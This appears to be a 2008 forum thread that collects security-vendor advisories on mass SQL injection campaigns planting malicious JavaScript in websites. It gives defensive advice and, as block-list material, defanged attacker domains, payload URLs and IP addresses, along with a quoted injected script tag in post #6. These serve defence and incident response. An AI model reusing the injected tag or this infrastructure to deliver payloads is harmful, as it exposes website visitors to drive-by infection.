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SQL injection attacks...


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#1 AplusWebMaster

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Posted 22 April 2008 - 02:27 PM

FYI...

- http://securitylabs....lerts/3070.aspx
04.22.2008 - "...malicious JavaScript injection that compromised thousands of domains at the start of this month, just 2-3 weeks ago. The attackers have now switched over to a new domain as their hub for hosting the malicious payload in this attack. We have no doubt that the two attacks are related... In the last few hours we have seen the number of compromised sites increase by a factor of ten. This mass injection is remarkably similar to the attack we saw earlier this month. When a user browses to a compromised site, the injected JavaScript loads a file named 1.js which is hosted on hxxp ://www.nihao[removed].com The JavaScript code then redirects the user to 1.htm (also hosted on the same server). Once loaded, the file attempts 8 different exploits (the attack last April utilised 12). The exploits target Microsoft applications, specifically browsers not patched against the VML exploit MS07-004 as well as other applications. Ominously files named McAfee.htm and Yahoo.php are also called by 1.htm but are no longer active at the time of writing. There are further similarities too between the two mass attacks. Resident on the latest malicious domain is a tool used in the execution of the attack. An analysis of that tool can be found in the ISC diary entry here*... It appears that same tool was used to orchestrate this attack too. When we first started tracking the use of this domain, the malicious JavaScript was still making use of hxxp ://www.nmida[removed].com/... Sites of varying content have been infected including UK government sites, and a United Nations website as can be seen by the Google search... The number of sites affected is in the hundreds of thousands..."
* http://isc.sans.org/...?n&storyid=4294
Last Updated: 2008-04-16 19:14:00 UTC

:ph34r: :ph34r: :ph34r:

Edited by AplusWebMaster, 02 December 2011 - 11:35 AM.

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Hacks only need to find -1- to get in...
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#2 AplusWebMaster

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Posted 24 April 2008 - 02:57 PM

FYI...

Hundreds of thousands of SQL injections
- http://isc.sans.org/...ml?storyid=4331
Last Updated: 2008-04-24 19:36:50 UTC - "UPDATE.
It is recommend that you block access to hxxp :/www .nihaorr1.com and the IP it resolves to 219DOT153DOT46DOT28 at the edge or border of your network.
1.js is the file they are currently injecting. That could change and has been injected into thousands of legitimate websites. Visitors to this website are “treated” to 8 different exploits for many windows based applications including AIM, RealPlayer, and iTunes. DO NOT visit sites that link to this site as you are very likely to get infected. Trendmicro named the malware toj_agent.KAQ it watches for passwords and passes them back to contoller’s ip.
The crew over at shadowserver has published additional information related to SQL injected sites. They included the botnet controllers IP address 61.188.39.214 and a content based snort signature for the bot control traffic that is not ip dependent. The bot controller is alive and communicating on port 2034 with some infected clients at this time.
http://www.shadowser...lendar.20080424
http://www.shadowser...lendar.20080313
They have hit city websites, commercial sites and even government websites. This type of injection pretty much null and voids the concept of “trusted website”. or "safe sites".
The register covered it stating their search returned 173k injected results:
http://www.theregist...ass_web_attack/
The number I received doing the same search was 226k. Those are not all unique websites. Many sites got hit more then one time.
Lou a self described “accidental techie” has been discussing it as they have been reinjecting this into his database/website “every other day”. http://www.experts-e...Q_23337211.html
Websense has good information on it here:
http://securitylabs....lerts/3070.aspx
We covered the injection tool, the methods to prevent injections and other details here:
http://isc.sans.org/...ml?storyid=4139
http://isc.sans.org/...ml?storyid=4294 ..."

:ph34r: :ph34r: :ph34r:

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Hacks only need to find -1- to get in...
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#3 AplusWebMaster

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Posted 25 April 2008 - 09:55 AM

FYI... (DO NOT visit the the sites mentioned in the commentary as you are very likely to get infected - BLOCK them, but don't go there.)

- http://www.f-secure....s/00001427.html
April 24, 2008 - "...As more and more websites are using database back-ends to make them faster and more dynamic, it also means that it's crucial to verify what information gets stored in or requested from those databases — especially if you allow users to upload content themselves which happens all the time in discussion forums, blogs, feedback forms, et cetera. Unless that data is sanitized before it gets saved you can't control what the website will show to the users. This is what SQL injection is all about, exploiting weaknesses in these controls... It finds all text fields in the database and adds a link to malicious javascript to each and every one of them which will make your website display them automatically. So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dynamic value such as an article ID, product ID, et cetera) parameter and tried to use that to upload their SQL injection code. So far three different domains have been used to host the malicious content — nmidahena .com, aspder .com and nihaorr1 .com. There's a set of files that gets loaded from these sites that attempts to use different exploits to install an online gaming trojan. Right now the initial exploit page on all domains are unaccessible but that could change. So if you're a firewall administrator we recommend you to block access to them.
So what should you do?
- First of all, search your website logs for the code above and see if you've been hit. If so, clean up your database to prevent your website visitors from becoming infected.
- Second, make sure that all the data you pass to your database is sanitized and that no code elements can be stored there.
- Third, block access to the sites above.
- Fourth, make sure the software you use is patched...
- Fifth, keep your antivirus solution up-to-date."

(Note: per http://www.shadowser...lendar.20080424 :
"...nmidahena.com... domain has since been killed off and looks like our attacker has moved on to some new ones... it most likely won't take too long for others to catch on and possibly conducting even more nefarious activities. If your site has fallen victim to one of these attacks, it's not just important you remove the offending injections, but it's even more important you fix the SQL injection attack vector. If you do not, your website will continue to be vulnerable to similar or worse attacks.")

(...where the other factors enter in)
- http://preview.tinyurl.com/6c8bet - 04/24/2008 (Networkworld) - "... SQL injection attacks on Microsoft Internet Information Servers are leaving Web pages with malicious -iFrames- in them... Web pages are infected with the iFrame code by looking for a specific code string in the source code of the Web page associated to an iFrame tag..."

:ph34r:

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Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
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#4 AplusWebMaster

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Posted 26 April 2008 - 05:49 AM

For clarification:

(Warning: We strongly suggest that readers NOT visit websites mentioned as being behind the attacks discussed. They should be considered dangerous and capable of infecting your system.)

>>> http://www.f-secure....s/00001427.html
April 24, 2008 - "...So far three different domains have been used to host the malicious content
— nmidahena .com*, aspder .com and nihaorr1 .com.
There's a set of files that gets loaded from these sites that attempts to use different exploits to install an online gaming trojan. Right now the initial exploit page on all domains are unaccessible but that could change. So if you're a firewall administrator we recommend you to block access to them..."

4.26.2008 - NOW
- http://centralops.ne...ainDossier.aspx
aspder .com ***
aliases
addresses 60.172.219.4
country: CN
-------------------
nihaorr1 .com ***
aliases
addresses 219.153.46.28
country: CN
-------------------
nmidahena .com *
Could not find an IP address for this domain name.
....................
* (Note: per http://www.shadowser...lendar.20080424 : "...nmidahena.com... domain has since been killed off and looks like our attacker has moved on to some new ones...)

:ph34r: :ph34r:

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Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
.


#5 AplusWebMaster

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Posted 07 May 2008 - 04:57 AM

FYI...

SQL Injection Worm on the Loose
- http://isc.sans.org/...ml?storyid=4393
Last Updated: 2008-05-07 05:12:53 UTC - "A loyal ISC reader... wrote in to point us at what looks to be a SQL Injection worm that is on the loose. From a quick google search it shows that there are about 4,000 websites infected and that this worm started at least mid-April if not earlier. Right now we can't speak intelligently to how they are getting into databases, but what they are doing is putting in some scripts and iframes to take over visitors to the websites. It looks like the infection of user machines is by Real Player vulnerabilities that seem more or less detected pretty well. The details, the script source that is injected into webpages is hxxp ://winzipices .cn /#.js (where # is 1-5). This, in turn, points to a cooresponding asp page on the same server. (i.e. hxxp :// winzipices .cn/#.asp). This in turn points back to the exploits. Either from the cnzz .com domain or the 51 .la domain. The cnzz .com (hxxp ://s141 .cnzz .com) domain looks like it could be set up for single flux, but it's the same pool of IP address all the time right now. hxxp ://www .51 .la just points to 51la .ajiang .net which has a short TTL, but only one IP is serving it.
Fair warning, if you google this hostnames, you will find exploited sites that will try and reach out and "touch" you... even if you are looking at the "cached" page. Proceed at your own risk.
UPDATE: We're also see this website serving up some attacks in connection with this SQL Worm
(hxxp ://bbs .jueduizuan .com)"

:ph34r: :ph34r:

.The machine has no brain.
 ......... Use your own.
Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
.


#6 AplusWebMaster

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Posted 07 May 2008 - 12:56 PM

FYI...

New SQL Injection Attacks and New Malware: winzipices .cn
- http://www.shadowser...lendar.20080507
7 May 2008
"Warning: We strongly suggest that readers NOT visit websites mentioned as being behind the attacks discussed. They should be considered dangerous and capable of infecting your system.

As predicted, the attacks against ASP and ASP.NET pages via SQL injection have continued. This time the domain name "winzipices.cn" is in the spotlight. It has managed to find itself in the source of over 4,000 pages according to Google. ISC has also has a short diary today mentioning this attack here. It turns out this is also something we have been taking a look at now for a few days. With that being said, we would like to share some information that can help protect end users and organizations. It would appear that our attackers in this instance are taking advantage of the same issues we have discussed in some of our recent postings. However, we do know that the malware and malicious file trail here are different than the last few attacks. If your websites has been hacked or you are visiting a hacked website, you will find something like this in your HTML source in the page you visit:
"<script src=hxxp ://winzipices .cn/ 5.js></script>"
It appears that 1.js, 2.js, 3.js, and 4.js are also present. Each of these files in turn have hidden iframes...
Malware Binaries:
File MD5: 8ca53bf2b7d8107d106da2da0f8ca700 (test.exe)
File Size: 28301 bytes
File MD5: 5c9322a95aaafbfabfaf225277867f5b (1.exe)
File Size: 38400 bytes
Protection & Detection
As always we recommend that you block access to the malicious domains and sites. Using a content filter, changing DNS entries, and blocking IP addresses are all valid methods. Of course being up-to-date on your patches can also go a long way. Here's a quick recap of the malicious sites/IP addresses involved in this attack:
-winzipices.cn [60.191.239.229]
-61.188.38.158
-61.134.37.15
Note that blocking by IP address could potentially block other legitimate pages on the host (not likely in this case). It's also generally only valid or helpful for a short period of time as attackers frequently change both IP addresses and domain names."

:ph34r: :( :ph34r:

.The machine has no brain.
 ......... Use your own.
Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
.


#7 AplusWebMaster

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Posted 10 May 2008 - 02:41 AM

(Warning: We strongly suggest that readers NOT visit websites mentioned as being behind the attacks discussed. They should be considered dangerous and capable of infecting your system.)

SQL injection continues
- http://www.f-secure....s/00001432.html
May 10, 2008 - "...The attacks have now started again, this time pointing to several different domains. During the last few days we've seen the same type of encoded SQL script as in the previous case being inserted into ASP/ASP.NET pages. The scripts point to the following domains:
yl18 .net
www .bluell .cn
www .kisswow .com .cn
www .ririwow .cn
winzipices .cn
All of the domains above are pointing to IP addresses in China. Just like last time the scripts try to use several exploits to infect the user's computer."

- http://blog.trendmic...es-compromised/
May 10, 2008 - "...some several thousands of Web sites try to recover from being hacked via SQL injection barely two days ago, in comes another massive attack on more than half a million Web sites. Advanced Threats Research Program Manager Ivan Macalintal found the malicious script JS_SMALL.QT injected into various Web sites believed to be either using poorly implemented phpBB, or are using older, exploitable versions of the said program... In true ZLOB fashion, this variant poses as a video codec installer... These types of Trojans are known for changing an affected system’s local DNS and Internet browser settings, thus making the system vulnerable for even more potential threats..."

:ph34r: :( :ph34r:

Edited by AplusWebMaster, 10 May 2008 - 01:39 PM.

.The machine has no brain.
 ......... Use your own.
Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
.


#8 AplusWebMaster

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Posted 11 May 2008 - 07:47 PM

FYI...

Mass File Injection Attack
- http://isc.sans.org/...ml?storyid=4405
Last Updated: 2008-05-11 21:48:56 UTC - "We received a report... this afternoon about a couple of URLs containing a malicious JavaScript that pulls down a file associated with Zlob. If you do a google search for these two URLs, you get about 400,000 sites that have a call to this Javascript file included in them now. The major portion of the sites seem to be running phpBB forum software.
If you have a proxy server that logs outbound web traffic at your site, you might want to look for connection attempts to these two sites. Internal clients that have connected may need some cleanup work. Another preventive step would be to blacklist these two URLs.

hxxp ://free .hostpinoy .info /f.js
hxxp ://xprmn4u.info /f .js "

:ph34r: :ph34r:

.The machine has no brain.
 ......... Use your own.
Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
.


#9 AplusWebMaster

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Posted 13 May 2008 - 09:53 AM

FYI...

- http://www.techworld...amp;pagtype=all
13 May 2008- "..."This is an on-going campaign, with new domains [hosting the malware] popping up even this morning," said Paul Ferguson, a network architect with anti-virus vendor Trend Micro. "The domains are changing constantly." According to Ferguson, over half a million legitimate websites have been hacked by today's mass-scale attack, only the latest in a string that goes back to at least January. All of the sites, he confirmed, are running "phpBB", an open-source message forum manager... Visitors to a hacked site are redirected through a series of servers, some clearly compromised themselves, until the last in the chain is reached. That server then pings the PC for any one of several vulnerabilities, including bugs in both Internet Explorer and the RealPlayer media player. If any of the vulnerabilities are present, the PC is exploited and malware is downloaded to it..."
* http://preview.tinyurl.com/6f2uro
Apr 07, 2008 - "phpBB 3.0.1 released... critical bugs fixed..."

:angry: :ph34r:

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Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
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#10 AplusWebMaster

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Posted 14 May 2008 - 04:13 AM

Warning: We strongly suggest that readers NOT visit websites mentioned as being behind the attacks discussed. They should be considered dangerous and capable of infecting your system.

SQL Injection Attacks Becoming More Intense
- http://www.f-secure....s/00001435.html
May 13, 2008 - "The mass SQL injection attacks... are increasing in number and we're seeing more domains being injected and used to host the attack files. We believe that there is now more than one group using a set of different automated tools to inject the code. Previously, these attacks have primarily pointed to IP addresses in China and we've seen the following domains being used in addition to the ones we've mentioned previously:
www .wowgm1 .cn
www .killwow1 .cn
www .wowyeye .cn
vb008 .cn
9i5t .cn
computershello .cn
We've now seen other domains being used as well such as direct84 .com which is inserted by an SQL injection tool (detected as HackTool:W32/Agent.B ) distributed to the Asprox botnet. SecureWorks has a nice write-up available*. The direct84 .com domain fast-fluxes to several different IPs in Europe, Israel and North America. The injected link eventually leads to a backdoor detected as Backdoor:W32/Agent.DAS. This is a good time to again mention that it's not a vulnerability in Microsoft IIS or Microsoft SQL that is used to make this happen. If you are an administrator of a website that is using ASP/ASP.NET, you should make sure that you sanitize all inputs before you allow it to access the database. There are many articles on how to do this such as this one**. You could also have a look at URLScan*** which provides an easy way to filter this particular attack based on the length of the QueryString."

* http://www.securewor...s/danmecasprox/
May 13, 2008 - "...the SQL attack tool does not spread on its own, it relies on the Asprox botnet in order to propagate to new hosts..."

** http://msdn.microsof...y/ms998271.aspx

*** http://www.microsoft...ls/urlscan.mspx

Also see: http://www.shadowser...lendar.20080513
May 13, 2008

...and: http://isc.sans.org/...ml?storyid=4418
Last Updated: 2008-05-14 00:31:33 UTC

:ph34r: :ph34r:

Edited by AplusWebMaster, 14 May 2008 - 04:44 AM.

.The machine has no brain.
 ......... Use your own.
Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
.

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#11 AplusWebMaster

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Posted 14 May 2008 - 12:54 PM

(Warning: We strongly suggest that readers NOT visit websites mentioned as being behind the attacks discussed. They should be considered dangerous and capable of infecting your system.)

Full list of Injected Sites
- http://www.shadowser...lendar.20080514
Posted May 14, 2008, at 07:42 AM - "Below is a list of domains used in the mass SQL injections that insert malicious javascript into websites. We've also included an approximate number of pages infected (according to Google). Note that these numbers decay with time. Some of these domains were injected long ago and have been cleaned. At their height, their numbers may have been larger.

www .nihaorr1 .com -468,000
free .hostpinoy .info -444,000
xprmn4u .info -369,000
www .nmidahena .com -140,000
winzipices .cn -75,000

www .aspder .com -62,000
www .11910 .net -47,000
bbs .jueduizuan .com -44,000
www .bluell .cn -44,000
www .2117966 .net -39,000

xvgaoke .cn -33,000
www .414151 .com -17,000
yl18 .net -15,000
www .kisswow .com .cn -13,000
c .uc8010 .com -9500

www .ririwow .cn -6000
www .killwow1 .cn -4000
www .wowgm1 .cn -3500
www .wowyeye .cn -2800
9i5t .cn -2500

computershello .cn -2300
b15 .3322 .org -1200
www .direct84 .com -1100
smeisp .cn -85
free .edivid .info -40
h28 .8800 .org -34

ucmal .com -30
usuc .us -13
www .wowgm2 .cn -8
www .adword72 .com -2

=> Posted May 14, 2008, at 07:42 AM.

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Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
.


#12 AplusWebMaster

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Posted 19 May 2008 - 05:36 AM

FYI...

Mass SQL Injection Attack Targets Chinese Web Sites
- http://preview.tinyurl.com/5tmj3q
May 19, 2008 3:00 AM PDT (PC World) - "Web sites across China and Taiwan are being hit by a mass SQL injection attack that has implanted malware in thousands of Web sites, according to a security company in Taiwan. First detected on May 13, the attack is coming from a server farm inside China, which has made no effort to hide its IP (Internet Protocol) addresses, said Wayne Huang, chief executive officer of Armorize Technologies, in Taipei. "The attack is ongoing,... even if they can't successfully insert malware, they're killing lots of Web sites right now, because they're just brute-forcing every attack surface with SQL injection, and hence causing lots of permanent changes to the victim websites," Huang said... Technical details of the malware, including the specific browser vulnerabilities exploited, were not immediately available..."

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Hacks only need to find -1- to get in...
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#13 AplusWebMaster

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Posted 19 May 2008 - 11:33 AM

More on the China/Taiwan SQL attacks...

- http://preview.tinyurl.com/56u2m7
May 19, 2008 (Computerworld) - "Web sites across China and Taiwan are being hit by a mass SQL injection attack that has implanted malware in thousands of Web sites... The attackers in the more recent outbreak aren't targeting a specific vulnerability. Instead, they are using an automated SQL injection attack engine that is tailored to attack Web sites using SQL Server, Huang said. The attack uses SQL injection to infect targeted Web sites with malware, which in turn exploits vulnerabilities in the browsers of those who visit the Web sites, he said, calling the attack "very well designed." The malware injected by the attack comes from 1,000 different servers and targets 10 vulnerabilities in Internet Explorer and related plug-ins that are popular in Asia, Huang said.

The vulnerabilities are MS06-014 (CVE-2006-0003), MS07-017 (CVE-2007-1765), RealPlayer IERPCtl.IERPCtl.1 (CVE-2007-5601), GLCHAT.GLChatCtrl.1 (CVE-2007-5722), MPS.StormPlayer.1 (CVE-2007-4816), QvodInsert.QvodCtrl.1, DPClient.Vod (CVE-2007-6144), BaiduBar.Tool.1 (CVE-2007-4105), VML Exploit (CVE-2006-4868) and PPStream (CVE-2007-4748)."
- http://nvd.nist.gov/nvd.cfm

- http://blog.trendmic...end-compromise/
May 19, 2008

:ph34r: :ph34r:

Edited by AplusWebMaster, 19 May 2008 - 12:01 PM.

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#14 AplusWebMaster

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Posted 19 May 2008 - 03:24 PM

Follow-up:

- http://www.computerw...8#comment-92914
[China and Taiwan - SQL injection attacks]
Submitted by Anonymous tech on May 19, 2008 - 16:11.
" 'Web sites across China and Taiwan are being hit by a mass SQL injection attack that has implanted malware in thousands of Web sites...'

That appears to be incorrect - the SQL injection plants a java-scripted IFRAME which re-directs the victim's browser to an attacker's site that performs the exploits. Please check the facts. More than one source would confirm it.

Every other SQL injection attack to date has done that, using an Mpack-like exploit tool at the attackers' site - NOT the site that was the victim of the SQL injection."

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#15 AplusWebMaster

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Posted 20 May 2008 - 02:59 AM

FYI... (apologies for the long post - needed for detail):

- http://blog.trendmic...h-other-shores/
May 19, 2008 - "...This discovery comes on the tail of the mass compromise* of APAC sites (China, Taiwan, Hong Kong, and Singapore). Curious is how some of the malicious URLs in this new set of compromises are the same as in the first mass compromise. The four sites — humanitarian, government, and news — were injected with the malicious JavaScript..."

Chinese Weekend Compromise
* http://blog.trendmic...end-compromise/
May 19, 2008 - "Just a week after half a million Web sites were compromised, here comes another mass Web threat... This time, Senior Threat Analyst Aries Hsieh, together with our research team in Taiwan, picked up on another script injection attack aimed at Web sites in the Chinese language... A visit to any compromised site would install and execute a malicious script on a system. This said script, which Trend Micro detects as JS_IFRAME.AC, may be downloaded from the remote site hxxp ://{BLOCKED} .us /s.js

JS_IFRAME.AC then downloads JS_IFRAME.AD, which exploits several vulnerabilities to further insert scripts in Web sites. TrendLabs Threats analyst Jonathan San Jose identifies the following exploit routines of JS_IFRAME.AD:
1. Exploits a vulnerability in Microsoft Data Access Components (MDAC) MS06-14, which allows for remote code execution on an affected system
2. Uses the import function IERPCtl.IERPCtl.1 or IERPPLUG.DLL to send the shell code to an installed RealPlayer
3. Checks for GLAVATAR.GLAvatarCtrl.1
4. Exploits a BaoFeng2 Storm and MPS.StormPlayer.1 ActiveX control buffer overflow
5. Takes advantage of an ActiveX control buffer overflow in Xunlei Thunder DapPlayer
Notice that the last two exploits are related to Chinese-language software, suggesting to our researchers that this malicious activity was targeted specifically to China, Taiwan, Singapore, and Hong Kong. These vulnerabilities trigger JS_IFRAME.AD to redirect users to one of the following URLs:
* hxxp ://{BLOCKED}and.cn/real11.htm - detected as JS_REALPLAY.AT
* hxxp ://{BLOCKED}and.cn/real.htm - detected as JS_REALPLAY.CE
* hxxp ://{BLOCKED}and.cn/lz.htm - detected as JS_DLOADER.AP
* hxxp ://{BLOCKED}and.cn/bfyy.htm - detected as JS_DLOADER.GXS
* hxxp ://{BLOCKED}and.cn/14.htm - detected as JS_DLOADER.UOW
JS_IFRAME.AD was found to download the following:
* VBS_PSYME.CSZ
* JS_VEEMYFULL.AA
* JS_LIANZONG.E
* JS_SENGLOT.D
These four malware, in turn, download and execute
hxxp ://{BLOCKED}c.52gol.com/xx.exe, which is detected as TROJ_DLOADER.KQK.
As of this writing, Google search results show some 327,000 pages that contain the malicious script tag..."

(Screenshots available at both TrendMicro URLs above.)

:ph34r:

Edited by AplusWebMaster, 20 May 2008 - 03:01 AM.

.The machine has no brain.
 ......... Use your own.
Browser check for updates here.
YOU need to defend against -all- vulnerabilities.
Hacks only need to find -1- to get in...
.

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